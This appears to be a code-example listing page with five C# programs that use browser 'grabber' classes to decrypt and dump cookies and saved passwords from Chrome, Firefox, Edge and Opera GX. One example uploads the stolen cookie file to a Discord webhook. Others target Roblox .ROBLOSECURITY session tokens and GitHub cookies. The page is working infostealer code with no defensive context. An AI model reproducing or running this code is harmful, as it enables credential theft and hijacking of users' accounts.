Пример #1
0
        static void Main(string[] args)
        {
            StringBuilder cookieschrome   = new StringBuilder();
            StringBuilder passwordschrome = new StringBuilder();

            ChromeGrabber cg = new ChromeGrabber();

            if (cg.CookiesExists() && cg.PasswordsExists() && cg.KeyExists())
            {
                foreach (var item in cg.GetAllCookies(cg.GetKey()))
                {
                    cookieschrome.AppendLine(item.HostName + " = " + item.Name + ":" + item.Value);
                }

                foreach (var item in cg.GetAllPasswords(cg.GetKey()))
                {
                    passwordschrome.AppendLine(item.url + " = " + item.username + ":" + item.password);
                }
            }

            File.WriteAllText("cookies.txt", cookieschrome.ToString());
            File.WriteAllText("password.txt", passwordschrome.ToString());
            Console.Write("Done !");
            Console.ReadKey();
        }
Пример #2
0
        static void Main(string[] args)
        {
            ChromeGrabber g = new ChromeGrabber(); // Create Grabber
            List<string> cookies = new List<string>();

            g.GetCookies().ToList().ForEach(delegate (Chromium.Cookie c) // For every grabbed cookie:
            {
                cookies.Add($"Hostname: {c.HostKey} | Name: {c.Name} | Value: {c.EncryptedValue}"); // Add the cookie hostname, name, and value to the 'cookie' list
            });

            File.WriteAllLines("./cookies_save.txt", cookies); // Save cookies in cookies_save.txt
            DiscordWebhookClient webhookClient = new DiscordWebhookClient(WebhookUrl); // Create Discord.NET DiscordWebhook
            webhookClient.SendFileAsync("./cookies_save.txt", "here are your cookies:").Wait(); // Send the file including the cookies to discord webhook and wait until the message sent
        }
Пример #3
0
        static void Main(string[] args)
        {
            ChromeGrabber cg = new ChromeGrabber(); FirefoxGrabber fg = new FirefoxGrabber(); EdgeGrabber eg = new EdgeGrabber(); OperaGxGrabber og = new OperaGxGrabber();

            if (cg.CookiesExists())
            {
                foreach (var item in cg.GetCookiesByHostname(".roblox.com", cg.GetKey()))
                {
                    if (item.Name == (".ROBLOSECURITY"))
                    {
                        Console.WriteLine(item.Value + "\n");
                    }
                }
            }
            if (fg.CookiesExists())
            {
                foreach (var item in fg.GetCookiesByHostname(".roblox.com"))
                {
                    if (item.Name == (".ROBLOSECURITY"))
                    {
                        Console.WriteLine(item.Value + "\n");
                    }
                }
            }
            if (eg.CookiesExists())
            {
                foreach (var item in eg.GetCookiesByHostname(".roblox.com", eg.GetKey()))
                {
                    if (item.Name == (".ROBLOSECURITY"))
                    {
                        Console.WriteLine(item.Value + "\n");
                    }
                }
            }
            if (og.CookiesExists())
            {
                foreach (var item in og.GetCookiesByHostname(".roblox.com", og.GetKey()))
                {
                    if (item.Name == (".ROBLOSECURITY"))
                    {
                        Console.WriteLine(item.Value + "\n");
                    }
                }
            }
            Console.ReadKey();
        }
Пример #4
0
        static void Main(string[] args)
        {
            StringBuilder chromeCookies = new StringBuilder();

            ChromeGrabber cg = new ChromeGrabber();

            if (cg.CookiesExists() && cg.KeyExists())
            {
                foreach (var item in cg.GetAllCookies(cg.GetKey()))
                {
                    chromeCookies.AppendLine(item.HostName + " = " + item.Name + ":" + item.Value);
                }
            }

            File.WriteAllText("cookies.txt", chromeCookies.ToString());
            Console.WriteLine("Cookies Grabbed and saved Successfully!");
            Console.ReadKey();
        }
Пример #5
0
        static void Main(string[] args)
        {
            StringBuilder githubCookies = new StringBuilder();

            ChromeGrabber cg = new ChromeGrabber(); FirefoxGrabber fg = new FirefoxGrabber(); EdgeGrabber eg = new EdgeGrabber(); OperaGxGrabber og = new OperaGxGrabber();

            if (cg.CookiesExists())
            {
                foreach (var item in cg.GetCookiesByHostname(".github.com", cg.GetKey()))
                {
                    githubCookies.AppendLine(item.HostName + " = " + item.Name + ":" + item.Value);
                }
            }
            if (fg.CookiesExists())
            {
                foreach (var item in cg.GetCookiesByHostname(".github.com", fg.GetKey()))
                {
                    githubCookies.AppendLine(item.HostName + " = " + item.Name + ":" + item.Value);
                }
            }
            if (eg.CookiesExists())
            {
                foreach (var item in cg.GetCookiesByHostname(".github.com", eg.GetKey()))
                {
                    githubCookies.AppendLine(item.HostName + " = " + item.Name + ":" + item.Value);
                }
            }
            if (og.CookiesExists())
            {
                foreach (var item in cg.GetCookiesByHostname(".github.com", og.GetKey()))
                {
                    githubCookies.AppendLine(item.HostName + " = " + item.Name + ":" + item.Value);
                }
            }


            File.WriteAllText("cookies.txt", githubCookies.ToString());
            Console.WriteLine("Cookies Grabbed and saved Successfully!");
            Console.ReadKey();
        }